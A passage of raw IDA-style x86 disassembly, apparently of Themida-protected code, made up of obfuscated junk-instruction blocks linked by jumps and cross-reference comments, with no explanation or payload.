jmp loc_5661CB
; ---------------------------------------------------------------------------
loc_564765: ; CODE XREF: sub_562ABA-1E58j
not [esp+6+var_8+2]
jmp loc_56C442
; ---------------------------------------------------------------------------
loc_56476D: ; CODE XREF: sub_562ABA+BF46j
push 27F2h
mov [esp+0Ah+var_C+2], eax
push [esp+0Ah+var_8+2]
mov eax, [esp+0]
add esp, 4
pop [esp+0Ah+var_C+2]
jmp loc_569B9F
; ---------------------------------------------------------------------------
loc_56478A: ; CODE XREF: Themida_:0057205Aj
mov [esp+6+var_8+2], esi
push esp
push [esp+0Ah+var_C+2]
pop esi
jmp loc_5676B1
; ---------------------------------------------------------------------------
loc_564797: ; CODE XREF: sub_562ABA+DFCFj
mov edi, 47D0017Ch
add edi, 5C835120h
jmp loc_56CB24
; ---------------------------------------------------------------------------
loc_5647A7: ; CODE XREF: sub_562ABA+3551j
add ecx, 5A014B57h
add ecx, 792F4A8Dh
add ecx, 3951222h
add ecx, 27343C07h
mov ebx, [esp+0Ah+var_C+2]
jmp loc_566645
; ---------------------------------------------------------------------------
push [esp+0Ah+var_C+2]
pop eax
push 39E0h
mov [esp+0], ebx
mov ebx, esp
sub esp, 4
mov [esp+12h+var_12], edi
jmp loc_56BC8D
; ---------------------------------------------------------------------------
loc_5647E0: ; CODE XREF: sub_562ABA+FBAEj
xor edx, [esp+12h+var_12]
xor [esp+12h+var_12], edx
xor edx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
add [esp+12h+var_12], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5647F5: ; CODE XREF: sub_562ABA-3DB3j
add edi, 4
xchg edi, [esp+26h+var_28+2]
pop esp
push ebx
push esp
pop ebx
push edi
mov edi, 186B6D51h
jmp loc_56A3DF
; ---------------------------------------------------------------------------
loc_56480D: ; DATA XREF: Themida_:0055DFC8o
mov ax, word ptr [esp+2Ah+var_2C+2]
jmp sub_56279F
; ---------------------------------------------------------------------------
loc_564816: ; CODE XREF: sub_55FCA5+488j
add esp, 4
push edx
sub esp, 4
mov [esp+0], esp
jmp loc_572332
; ---------------------------------------------------------------------------
loc_564828: ; CODE XREF: sub_55FA0F+11j
dec ebx
not ebx
xor ebx, 0EEF8B71Dh
jmp loc_566576
; ---------------------------------------------------------------------------
loc_564836: ; CODE XREF: sub_562ABA+F1D7j
push bx
jmp loc_566213
; ---------------------------------------------------------------------------
loc_56483D: ; CODE XREF: sub_562ABA+398Ej
mov eax, 1
sub ebp, eax
jmp loc_566724
; ---------------------------------------------------------------------------
loc_564849: ; CODE XREF: sub_562ABA-1C7Bj
push ebx
mov ebx, 754E77CDh
inc ebx
jmp loc_565C9F
; ---------------------------------------------------------------------------
loc_564855: ; CODE XREF: sub_562ABA+139Fj
add esp, 4
sub eax, 0F3BDB6E5h
or edx, eax
pop eax
shl edx, 5
add edx, 8A900C64h
jmp loc_570F40
; ---------------------------------------------------------------------------
loc_56486E: ; CODE XREF: sub_562ABA+D7F2j
push ebp
push ebx
jmp loc_572A1C
; ---------------------------------------------------------------------------
loc_564875: ; CODE XREF: sub_562ABA+6CE2j
add ebp, ebx
pop ebx
add edi, ebp
pop ebp
xor edi, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], edi
jmp loc_565E15
; ---------------------------------------------------------------------------
loc_564886: ; CODE XREF: sub_562ABA+D5B6j
sub esp, 4
mov [esp+22h+var_22], eax
mov eax, 4
add edi, eax
mov eax, [esp+22h+var_22]
add esp, 4
push edi
jmp loc_55F500
; ---------------------------------------------------------------------------
loc_5648A5: ; CODE XREF: sub_562ABA+FAC5j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
push esi
mov esi, esp
jmp loc_56D63E
; ---------------------------------------------------------------------------
loc_5648BE: ; CODE XREF: sub_562ABA-3468j
mov [esp+26h+var_28+2], ebp
push edi
mov edi, 58FB0664h
mov ebp, edi
pop edi
not ebp
jmp loc_55F115
; ---------------------------------------------------------------------------
loc_5648D1: ; CODE XREF: sub_562ABA+C567j
add al, 62h
jmp loc_571D03
; ---------------------------------------------------------------------------
loc_5648D8: ; CODE XREF: sub_562ABA+ED02j
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_566EA4
; ---------------------------------------------------------------------------
loc_5648EC: ; CODE XREF: sub_562ABA-15D7j
mov dl, ah
pop ax
push 1222h
mov [esp-4+arg_0], edx
sub esp, 4
jmp loc_56AFAF
; ---------------------------------------------------------------------------
loc_564903: ; CODE XREF: sub_562ABA+8B95j
push esi
push ebp
push 306B3614h
jmp loc_56CACE
; ---------------------------------------------------------------------------
loc_56490F: ; CODE XREF: sub_562ABA+5F1Dj
sub [esp+0Ch+var_8], edi
pop edi
pop ecx
jmp loc_56BFAA
; ---------------------------------------------------------------------------
mov esp, [esp+4+var_4]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564922: ; CODE XREF: sub_562ABA+D4BEj
mov ebp, [esp+4+var_4]
add esp, 4
push ecx
jmp loc_5623DB
; ---------------------------------------------------------------------------
loc_56492E: ; CODE XREF: sub_562ABA+B648j
add ebx, 65A16606h
pop ecx
sub ebx, edi
add ebx, 1B6693Ch
push edi
mov edi, 7EBF71B1h
add edi, 0B9AE9A4Eh
sub ebx, edi
pop edi
pop edi
xor ebx, [esp-4+arg_0]
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], eax
jmp loc_560E17
; ---------------------------------------------------------------------------
loc_56495F: ; CODE XREF: sub_562ABA+7852j
add edi, 4
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
add esp, 4
push 4B56h
jmp loc_55E26C
; ---------------------------------------------------------------------------
loc_56497C: ; CODE XREF: sub_562ABA+226Bj
sub bl, 0C9h
jmp loc_5650CC
; ---------------------------------------------------------------------------
loc_564984: ; CODE XREF: sub_562ABA+A29Cj
add edi, ebp
add edi, 13BC7FEAh
pop ebp
push esi
mov esi, 514103DCh
xor esi, 514103DEh
jmp loc_560DC5
; ---------------------------------------------------------------------------
loc_56499E: ; CODE XREF: sub_562ABA+D832j
add ecx, 4
jmp loc_5698D7
; ---------------------------------------------------------------------------
loc_5649A9: ; CODE XREF: sub_562ABA+8745j
pop esp
pop [esp-10h+arg_C]
mov esp, [esp-14h+arg_10]
mov word ptr [esp-14h+arg_10], cx
jmp loc_56E3FA
; ---------------------------------------------------------------------------
loc_5649B9: ; CODE XREF: sub_562ABA+987Bj
add edx, eax
pop eax
push ecx
push 6D87h
mov [esp-10h+arg_C], edx
push 43A93E02h
pop edx
push edx
xchg edx, [esp-0Ch+arg_8]
not edx
xchg edx, [esp-0Ch+arg_8]
pop edx
push esi
mov esi, 4EB9192Ch
dec esi
xor esi, 492277DEh
or esi, 55E25C97h
add esi, 645B4302h
jmp loc_562B92
; ---------------------------------------------------------------------------
loc_5649F3: ; CODE XREF: sub_562ABA+4DCAj
add esp, 4
sub esp, 4
mov [esp-0Ch+arg_8], edi
jmp loc_5667D4
; ---------------------------------------------------------------------------
loc_564A04: ; CODE XREF: sub_562ABA+E056j
sub edx, 313D205Bh
add edx, 45193C71h
xor edx, 3FDC10DDh
add edx, 6B62324Bh
add edx, 607DADBBh
mov ebx, edx
mov edx, [esp-0Ch+arg_8]
jmp loc_55E704
; ---------------------------------------------------------------------------
loc_564A2C: ; CODE XREF: Themida_:0055F320j
pop eax
jmp loc_56EB65
; ---------------------------------------------------------------------------
loc_564A32: ; CODE XREF: sub_562ABA+18CDj
mov esi, 30993699h
push esi
pop ecx
pop esi
jmp loc_57283E
; ---------------------------------------------------------------------------
loc_564A3F: ; CODE XREF: sub_562ABA+10036j
pop ecx
jmp loc_5715BC
; ---------------------------------------------------------------------------
loc_564A45: ; CODE XREF: sub_562ABA+3CEDj
push 2FD0h
mov [esp+12h+var_12], edi
push eax
mov eax, 4F9F4374h
push ebx
mov ebx, 13346A75h
mov edi, 0D65D6281h
add edi, 61ED47ACh
sub edi, ebx
sub edi, 61ED47ACh
pop ebx
jmp loc_560AA0
; ---------------------------------------------------------------------------
loc_564A72: ; CODE XREF: sub_562ABA+1234j
pop ecx
jmp loc_565E6F
; ---------------------------------------------------------------------------
loc_564A78: ; CODE XREF: sub_562ABA+C1F9j
shl ecx, 4
push ebp
mov ebp, 6A3F717Bh
jmp loc_572577
; ---------------------------------------------------------------------------
loc_564A86: ; CODE XREF: sub_55FCA5+428j
pop edi
pop edi
add eax, ebx
add eax, 4B293CAAh
sub esp, 4
mov [esp+16h+var_16], ebp
push edx
mov edx, 0EF02E6Eh
push esi
jmp loc_568204
; ---------------------------------------------------------------------------
loc_564AA4: ; CODE XREF: sub_562ABA+C836j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+22h+var_22]
xor [esp+22h+var_22], ebp
xor ebp, [esp+22h+var_22]
pop esp
jmp loc_56AB3B
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_56E9C9
; ---------------------------------------------------------------------------
loc_564ACA: ; CODE XREF: sub_562ABA-1078j
xor [esp+40h+var_42+2], ebx
jmp loc_56DA55
; ---------------------------------------------------------------------------
loc_564AD2: ; CODE XREF: sub_562ABA+B9DBj
pop esp
mov ch, bh
push [esp+3Ch+var_3E+2]
mov ebx, [esp+40h+var_42+2]
push eax
mov eax, esp
jmp loc_55F4D6
; ---------------------------------------------------------------------------
loc_564AE3: ; CODE XREF: sub_562ABA+C9CFj
mov eax, 4D2C4462h
jmp sub_55F332
; ---------------------------------------------------------------------------
loc_564AED: ; CODE XREF: sub_562ABA+E33j
pop esp
jmp loc_5710A6
; ---------------------------------------------------------------------------
loc_564AF3: ; CODE XREF: sub_562ABA+FF3Ej
mov edi, 4
jmp loc_56CBFA
; ---------------------------------------------------------------------------
loc_564AFD: ; CODE XREF: sub_562ABA+8406j
push ebx
mov ebx, 4
push esi
mov esi, 50CF600Fh
shr esi, 5
neg esi
jmp loc_56DD07
; ---------------------------------------------------------------------------
loc_564B13: ; CODE XREF: sub_562ABA+6E3Fj
pop eax
xor eax, esi
mov esi, [esp+48h+var_4A+2]
push edx
mov edx, esp
add edx, 4
jmp loc_561952
; ---------------------------------------------------------------------------
loc_564B27: ; CODE XREF: sub_562ABA+4914j
pop ebx
add esp, 4
jmp loc_56BE93
; ---------------------------------------------------------------------------
loc_564B30: ; CODE XREF: sub_562ABA+C29j
pop ebx
and edx, 72875B30h
dec edx
sub esp, 4
mov [esp+16h+var_16], edx
not [esp+16h+var_16]
pop edx
sub edx, 0DFFEF4ECh
add ebx, edx
pop edx
sub esp, 4
mov [esp+12h+var_12], ebx
push dword ptr [esp+4]
pop ebx
pop [esp+12h+var_12]
mov esp, [esp+0]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564B64: ; CODE XREF: sub_562ABA+7649j
mov edi, 30435BE1h
mov eax, edi
jmp loc_568935
; ---------------------------------------------------------------------------
loc_564B70: ; CODE XREF: sub_562ABA+27ECj
not eax
xor eax, 0FFCDFF7Bh
sub edi, 13A94649h
add edi, eax
add edi, 13A94649h
jmp loc_56A2EF
; ---------------------------------------------------------------------------
loc_564B8A: ; CODE XREF: sub_562ABA+3447j
pop esp
add [esp+0Ah+var_8+2], 79C01A8Ah
sub [esp+0Ah+var_8+2], ebx
push ebp
mov ebp, 79C01A8Ah
sub [esp+0Eh+var_8+2], ebp
pop ebp
mov ebx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564BAD: ; CODE XREF: sub_562ABA+D63Cj
push ebx
push 3955h
jmp loc_56D030
; ---------------------------------------------------------------------------
loc_564BB8: ; CODE XREF: sub_562ABA+5C53j
push 7EF13E06h
mov esi, [esp+12h+var_12]
jmp loc_56B81A
; ---------------------------------------------------------------------------
loc_564BC5: ; CODE XREF: sub_562ABA+AF15j
push eax
jmp loc_56BA84
; ---------------------------------------------------------------------------
loc_564BCB: ; CODE XREF: sub_562ABA-4206j
push ebp
jmp loc_566EAF
; ---------------------------------------------------------------------------
loc_564BD1: ; CODE XREF: sub_562ABA-2620j
pop ebx
add ebx, eax
mov eax, [esp+0]
add esp, 4
xchg ebx, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
mov ax, word ptr [esp+0Ah+var_C+2]
push 0C73h
mov [esp+0], edi
jmp loc_55FB60
; ---------------------------------------------------------------------------
loc_564BF4: ; CODE XREF: sub_562ABA+4807j
push edx
jmp loc_564529
; ---------------------------------------------------------------------------
loc_564BFA: ; CODE XREF: sub_562ABA+3616j
pop esi
jmp loc_56FF98
; ---------------------------------------------------------------------------
loc_564C00: ; CODE XREF: sub_562ABA+DDA7j
inc ecx
add ecx, 710A5157h
jmp loc_55F2A2
; ---------------------------------------------------------------------------
loc_564C0C: ; CODE XREF: sub_562ABA+3455j
push dword ptr [esp+0]
pop eax
add esp, 4
xchg edi, [esp+0Ah+var_C+2]
jmp loc_5606AD
; ---------------------------------------------------------------------------
loc_564C1B: ; CODE XREF: sub_562ABA+F949j
sub esi, 10C26464h
xor esi, 3F757127h
inc esi
sub esi, 23C94BACh
push eax
mov eax, 0D207E58Ah
sub esi, eax
push dword ptr [esp+0]
jmp loc_56EC95
; ---------------------------------------------------------------------------
loc_564C3E: ; CODE XREF: sub_562ABA+359Bj
mov edx, 52ED3504h
shr edx, 2
sub edx, 0EFD435B9h
xor ecx, edx
pop edx
mov edx, [esp+0]
add esp, 4
add ecx, edi
pop edi
xor [esp+6+var_4+2], ecx
push [esp+6+var_8+2]
pop ecx
push ecx
mov ecx, esp
jmp loc_5700FB
; ---------------------------------------------------------------------------
loc_564C68: ; CODE XREF: sub_562ABA+1170j
add esp, 4
push esi
push ecx
mov ecx, 31AB2C11h
shr ecx, 6
push esi
jmp loc_5673B8
; ---------------------------------------------------------------------------
loc_564C7E: ; CODE XREF: sub_562ABA-87Fj
shr ebx, 3
sub ebx, 321B5728h
add ebx, 16E9EC18h
add edi, ebx
jmp loc_56653B
; ---------------------------------------------------------------------------
loc_564C94: ; CODE XREF: sub_562ABA+CF93j
sub ebx, 0F92BDC43h
jmp loc_5651FA
; ---------------------------------------------------------------------------
loc_564C9F: ; CODE XREF: sub_562ABA+F4B4j
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
add ebp, 4
xchg ebp, [esp+14h+var_16+2]
pop esp
jmp loc_56B217
; ---------------------------------------------------------------------------
loc_564CB7: ; CODE XREF: sub_562ABA+BAC3j
mov ecx, [esp+10h+var_12+2]
push edx
mov edx, esp
push esi
mov esi, 4
add edx, esi
pop esi
jmp loc_56B53D
; ---------------------------------------------------------------------------
loc_564CCB: ; CODE XREF: Themida_:0055F157j
mov ecx, 596D0D00h
jmp loc_5728DA
; ---------------------------------------------------------------------------
loc_564CD5: ; CODE XREF: sub_562ABA+DFF8j
mov esi, [esp+14h+var_16+2]
add esp, 4
add esp, 4
add ecx, 0FDEFBDF4h
add edx, ecx
jmp loc_570535
; ---------------------------------------------------------------------------
loc_564CEE: ; CODE XREF: sub_562ABA-1D36j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+32h+var_32]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+32h+var_32]
pop esp
mov eax, [esp+0]
add esp, 4
push ecx
jmp loc_5703D0
; ---------------------------------------------------------------------------
loc_564D1F: ; CODE XREF: sub_562ABA-110j
and bl, 89h
sub bl, 50h
jmp loc_56497C
; ---------------------------------------------------------------------------
loc_564D2A: ; CODE XREF: sub_562ABA+3788j
push [esp+2Ah+var_2C+2]
push dword ptr [esp+0]
pop eax
jmp loc_55E6EA
; ---------------------------------------------------------------------------
mov cx, [esp+0]
jmp loc_5668CC
; ---------------------------------------------------------------------------
loc_564D3F: ; CODE XREF: sub_562ABA-4471j
add edx, 48DDD2BBh
add ebp, edx
mov edx, [esp+46h+var_46]
add esp, 4
add esi, 3D1446EFh
add esi, ebp
sub esi, 3D1446EFh
pop ebp
push ecx
mov ecx, 67762926h
shr ecx, 3
push ebp
mov ebp, 1
sub ecx, ebp
pop ebp
xor ecx, 2D5E3C59h
push ecx
xchg edx, [esp+46h+var_46]
not edx
push edx
push [esp+4Ah+var_46]
pop edx
pop [esp+4Ah+var_4A]
mov ecx, [esp+46h+var_46]
add esp, 4
shl ecx, 2
xor ecx, 793C1A10h
add esi, ecx
pop ecx
xchg esi, [esp+3Eh+var_3E]
pop esp
loc_564D9F: ; CODE XREF: sub_562ABA+108Bj
push edx
mov edx, esp
sub esp, 4
jmp loc_56C404
; ---------------------------------------------------------------------------
loc_564DAD: ; CODE XREF: sub_562ABA+B059j
push edx
push [esp+46h+var_42]
pop edx
pop [esp+46h+var_46]
pop esp
add esi, ebx
mov ebx, [esp+3Eh+var_3E]
push edx
mov edx, esp
add edx, 4
jmp loc_55ED6E
; ---------------------------------------------------------------------------
loc_564DCA: ; CODE XREF: sub_562ABA+11BEj
pop eax
push 5B0Eh
mov [esp+36h+var_36], edx
push edi
mov edi, 7FA67874h
sub [esp+3Ah+var_36], edi
mov edi, [esp+3Ah+var_3A]
jmp loc_5728F2
; ---------------------------------------------------------------------------
loc_564DE5: ; CODE XREF: sub_562ABA+4C19j
add ebx, 4
add ebx, 4
xchg ebx, [esp+3Ah+var_3A]
pop esp
jmp loc_56BCCF
; ---------------------------------------------------------------------------
loc_564DF7: ; CODE XREF: sub_562ABA+F9FDj
dec edi
not edi
xor edi, ecx
jmp loc_56D6CB
; ---------------------------------------------------------------------------
loc_564E01: ; CODE XREF: sub_562ABA+B021j
shl ebx, 2
xor ebx, 3F5271CFh
mov ecx, ebx
pop ebx
push edi
mov edi, esp
jmp loc_561D87
; ---------------------------------------------------------------------------
loc_564E15: ; CODE XREF: sub_562ABA+9E12j
xor ebx, [esp+36h+var_36]
xor [esp+36h+var_36], ebx
jmp loc_56AA89
; ---------------------------------------------------------------------------
loc_564E20: ; DATA XREF: Themida_:0055DDE4o
lodsd
xor eax, ebx
jmp loc_567666
; ---------------------------------------------------------------------------
loc_564E28: ; DATA XREF: Themida_:0055DDC0o
mov ax, word ptr [esp+36h+var_36]
push 19DAh
mov [esp+3Ah+var_3A], ebp
jmp loc_563149
; ---------------------------------------------------------------------------
loc_564E39: ; CODE XREF: sub_562ABA+1C68j
push 7D71h
mov [esp+26h+var_28+2], eax
mov eax, 10D2297Dh
jmp loc_56F480
; ---------------------------------------------------------------------------
loc_564E4B: ; CODE XREF: sub_562ABA+2B1Ej
push ecx
jmp loc_56C102
; ---------------------------------------------------------------------------
loc_564E51: ; CODE XREF: sub_562ABA+44A2j
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop ecx
add ecx, 4
jmp loc_5650EA
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb word ptr [esp+28h+var_28], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564E77: ; CODE XREF: sub_562ABA+A926j
mov esp, [esp+2Ch+var_2C]
push 17CCh
mov [esp+30h+var_32+2], edx
push esp
jmp loc_56292A
; ---------------------------------------------------------------------------
loc_564E88: ; CODE XREF: sub_562ABA+6DDBj
add edx, 4
jmp loc_5660B9
; ---------------------------------------------------------------------------
loc_564E93: ; CODE XREF: sub_562ABA+8789j
add edx, edi
pop edi
sub esi, edx
pop edx
push ebp
push 24997386h
mov ebp, [esp+34h+var_36+2]
add esp, 4
push eax
mov eax, 547A6B46h
and ebp, eax
jmp loc_569A6C
; ---------------------------------------------------------------------------
loc_564EB5: ; CODE XREF: sub_562ABA+141Dj
push [esp+4Ah+var_4A]
mov edx, [esp+4Eh+var_4E]
add esp, 4
jmp loc_56EC5D
; ---------------------------------------------------------------------------
loc_564EC6: ; CODE XREF: sub_562ABA+6C75j
push 39613CC5h
jmp loc_568036
; ---------------------------------------------------------------------------
loc_564ED0: ; CODE XREF: sub_562ABA+C4D6j
sub edi, 741B61B6h
mov ebx, edi
pop edi
push ebp
mov ebp, 6F44776Fh
add edx, 6D64759Bh
sub edx, ebp
sub edx, 6D64759Bh
pop ebp
jmp loc_56F779
; ---------------------------------------------------------------------------
loc_564EF3: ; CODE XREF: sub_562ABA-2404j
pop ecx
push eax
mov eax, 4
push ebp
mov ebp, 7E575C72h
jmp loc_56157B
; ---------------------------------------------------------------------------
mov ecx, [esp+0]
jmp loc_570B7B
; ---------------------------------------------------------------------------
loc_564F0D: ; CODE XREF: sub_562ABA+260Dj
mov edx, 8445649h
sub ebx, 3A3D0EB8h
add ebx, edx
add ebx, 3A3D0EB8h
pop edx
add esi, ebx
pop ebx
mov ebx, [esp-8+arg_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56AB24
; ---------------------------------------------------------------------------
loc_564F3B: ; CODE XREF: sub_562ABA+C666j
add bx, 46D8h
jmp loc_562D18
; ---------------------------------------------------------------------------
loc_564F45: ; CODE XREF: sub_562ABA+A1BDj
pop eax
jmp loc_56939C
; ---------------------------------------------------------------------------
loc_564F4B: ; CODE XREF: sub_562ABA-42E8j
add eax, 63A82519h
add eax, edi
sub eax, 63A82519h
pop edi
push ecx
mov ecx, 296C44B2h
sub ecx, 296C44B0h
add eax, ecx
pop ecx
xor eax, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], eax
xor eax, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
shr byte ptr [esp+1Eh+var_1E], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564F7C: ; CODE XREF: sub_562ABA-459Bj
mov ecx, [esp+1Ah+var_1A]
jmp loc_566F38
; ---------------------------------------------------------------------------
loc_564F84: ; CODE XREF: sub_562ABA+6D55j
push edx
jmp loc_55FD70
; ---------------------------------------------------------------------------
loc_564F8A: ; CODE XREF: sub_562ABA+27D6j
pop eax
xchg ecx, [esp+1Ah+var_1A]
pop esp
push eax
sub [esp+1Ah+var_1A], 57BC20DBh
mov ebx, [esp+1Ah+var_1A]
add esp, 4
jmp loc_566C8E
; ---------------------------------------------------------------------------
loc_564FA2: ; CODE XREF: sub_562ABA+8B27j
pop ebx
add eax, ecx
add eax, 6E13214Bh
push 3E71h
mov [esp+16h+var_16], ebx
push eax
mov eax, 324D7C0Eh
mov ebx, eax
pop eax
sub eax, 38D83991h
add eax, ebx
jmp loc_56F302
; ---------------------------------------------------------------------------
loc_564FC7: ; CODE XREF: sub_562ABA+2A35j
mov esi, [esp+16h+var_16]
add esp, 4
push 2F5Bh
mov [esp+16h+var_16], ebp
push 51Bh
mov [esp+1Ah+var_1A], ebx
mov ebx, 613742E4h
mov ebp, ebx
pop ebx
push edi
mov edi, 1AEB6D50h
add eax, edi
mov edi, [esp+1Ah+var_1A]
add esp, 4
push ebx
jmp loc_55E65D
; ---------------------------------------------------------------------------
loc_564FFC: ; CODE XREF: sub_562ABA+CCB4j
push [esp+1Ah+var_1A]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
jmp loc_561C84
; ---------------------------------------------------------------------------
loc_56501A: ; CODE XREF: sub_562ABA+9EBBj
add edx, 3B8361ECh
mov eax, [esp+1Eh+var_1E]
add esp, 4
sub edx, 4
xchg edx, [esp+1Ah+var_1A]
pop esp
mov [esp+16h+var_16], ebx
mov eax, [esp+16h+var_16]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
push ecx
push esp
mov ecx, [esp+22h+var_22]
add esp, 4
jmp loc_566C3D
; ---------------------------------------------------------------------------
loc_565052: ; CODE XREF: sub_562ABA-13AFj
mov [esp+26h+var_28+2], edx
jmp loc_56CE62
; ---------------------------------------------------------------------------
loc_56505A: ; CODE XREF: sub_562ABA+72C4j
pop edx
jmp loc_56A429
; ---------------------------------------------------------------------------
loc_565060: ; CODE XREF: sub_562ABA+EED3j
mov [esp+22h+var_22], edi
sub esp, 4
mov [esp+26h+var_28+2], ecx
push 66F10679h
pop ecx
push ecx
xor [esp+2Ah+var_2C+2], 1A08316Ah
pop edi
jmp loc_561463
; ---------------------------------------------------------------------------
loc_565080: ; CODE XREF: sub_562ABA+D1AAj
mov [esp+26h+var_28+2], ecx
sub esp, 4
mov [esp+2Ah+var_2C+2], esi
mov esi, 71671EA9h
sub esi, 0FFFFFFFFh
sub esi, 0C5558A3h
jmp loc_56AC2C
; ---------------------------------------------------------------------------
loc_56509F: ; CODE XREF: sub_562ABA-3C36j
mov ebp, 673633C9h
jmp loc_569AD4
; ---------------------------------------------------------------------------
loc_5650A9: ; CODE XREF: sub_562ABA+B3C9j
sub esi, 0BA85893h
add esi, 30707295h
add esi, ebx
sub esi, 30707295h
push ebx
mov ebx, 1B201255h
shr ebx, 3
push edx
jmp loc_564F0D
; ---------------------------------------------------------------------------
loc_5650CC: ; CODE XREF: sub_562ABA+1EC5j
or dl, bl
mov ebx, [esp-0Ch+arg_8]
add esp, 4
sub dl, 0E2h
push eax
mov al, dl
mov bh, al
jmp loc_56EC63
; ---------------------------------------------------------------------------
loc_5650E4: ; CODE XREF: sub_562ABA+3ECEj
pop ebp
jmp loc_56121E
; ---------------------------------------------------------------------------
loc_5650EA: ; CODE XREF: sub_562ABA+23A8j
sub esp, 4
mov [esp+0], ebx
push 3BD7h
mov [esp+32h+var_32], edi
push 7E026AA5h
jmp loc_5616E0
; ---------------------------------------------------------------------------
loc_565102: ; CODE XREF: sub_562ABA+B492j
mov eax, [esp+36h+var_36]
add esp, 4
and eax, ebx
push [esp+32h+var_32]
pop ebx
jmp loc_56407E
; ---------------------------------------------------------------------------
loc_565116: ; CODE XREF: sub_562ABA+5C44j
shr esi, 5
jmp loc_568794
; ---------------------------------------------------------------------------
loc_56511E: ; CODE XREF: sub_562ABA+89Cj
mov [esp+0], ebp
jmp loc_5628C6
; ---------------------------------------------------------------------------
loc_565126: ; CODE XREF: sub_562ABA-112Bj
push edi
jmp loc_563511
; ---------------------------------------------------------------------------
loc_56512C: ; CODE XREF: sub_562ABA-238Dj
pop esp
sub esp, 4
mov [esp+0], edi
mov edi, 3B26134Ch
neg edi
inc edi
shl edi, 8
push esi
mov esi, 6C14659Eh
xor edi, esi
pop esi
push esi
mov esi, 78365A75h
jmp loc_56438C
; ---------------------------------------------------------------------------
loc_565152: ; CODE XREF: sub_562ABA+2F4Bj
add ecx, 247E2F23h
pop edx
push esi
mov esi, 11867097h
add eax, esi
pop esi
add eax, ecx
sub eax, 11867097h
jmp loc_565C63
; ---------------------------------------------------------------------------
loc_56516E: ; CODE XREF: sub_562ABA+486Cj
add eax, 4
jmp loc_56B55A
; ---------------------------------------------------------------------------
loc_565176: ; CODE XREF: sub_562ABA+3F76j
pop ebp
add esp, 4
shl ebp, 1
or ebp, 3A90A5Eh
shl ebp, 1
sub ebp, 9EC86181h
and esi, ebp
jmp loc_5611C2
; ---------------------------------------------------------------------------
loc_565194: ; CODE XREF: Themida_:0055F0C4j
push [esp-0Ah+arg_4+2]
pop edx
add esp, 4
push esi
mov esi, esp
push eax
mov eax, 4
add esi, 3F895AACh
add esi, eax
push edx
jmp loc_56E0B5
; ---------------------------------------------------------------------------
loc_5651B2: ; CODE XREF: sub_562ABA+D21Aj
xchg edx, [esp+0]
pop esp
add ebp, 4
add ebp, 2
xor ebp, [esp-6+arg_0+2]
xor [esp-6+arg_0+2], ebp
xor ebp, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
mov ax, word ptr [esp-6+arg_0+2]
push 5A27h
mov [esp+0], edx
jmp loc_563DB2
; ---------------------------------------------------------------------------
loc_5651DC: ; CODE XREF: sub_562ABA+69C3j
sub ebp, esi
jmp loc_5701BC
; ---------------------------------------------------------------------------
loc_5651E3: ; CODE XREF: sub_562ABA+7125j
pop esi
dec edx
dec edx
jmp loc_565A7F
; ---------------------------------------------------------------------------
loc_5651EB: ; CODE XREF: sub_562ABA+1521j
push [esp+36h+var_36]
pop edx
add esp, 4
jmp loc_560EC7
; ---------------------------------------------------------------------------
loc_5651FA: ; CODE XREF: sub_562ABA+21E0j
mov eax, ebx
jmp loc_56C3BE
; ---------------------------------------------------------------------------
loc_565201: ; CODE XREF: sub_562ABA-1C58j
mov ecx, 786B3EDDh
jmp loc_561A7A
; ---------------------------------------------------------------------------
loc_56520B: ; CODE XREF: sub_562ABA+AB0j
add ebp, 4
add ebp, 4
xchg ebp, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
add esi, 4
xchg esi, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
movzx ecx, ax
jmp loc_566BE7
; ---------------------------------------------------------------------------
loc_56522B: ; CODE XREF: sub_562ABA+75B4j
pop ebx
shl ebx, 7
shr ebx, 1
push edi
mov edi, 6C2D5A08h
or ebx, edi
jmp loc_56A49E
; ---------------------------------------------------------------------------
loc_56523E: ; CODE XREF: sub_562ABA+3C5Dj
push ebp
mov ebp, 371422D0h
mov ecx, ebp
jmp loc_5692B3
; ---------------------------------------------------------------------------
loc_56524B: ; DATA XREF: Themida_:0055E008o
mov cx, word ptr [esp+3Ah+var_3A]
push 66FEh
mov [esp+3Eh+var_3E], eax
push 759Fh
jmp loc_571DC0
; ---------------------------------------------------------------------------
loc_565261: ; CODE XREF: sub_562ABA+EA82j
add esi, 4
add esi, 4
xchg esi, [esp+42h+var_42]
jmp loc_56179B
; ---------------------------------------------------------------------------
loc_565275: ; CODE XREF: sub_562ABA+A9E6j
add ecx, eax
mov eax, [esp+42h+var_42]
add esp, 4
push 4E05h
mov [esp+42h+var_42], eax
push 4
pop eax
add ecx, eax
jmp loc_564F8A
; ---------------------------------------------------------------------------
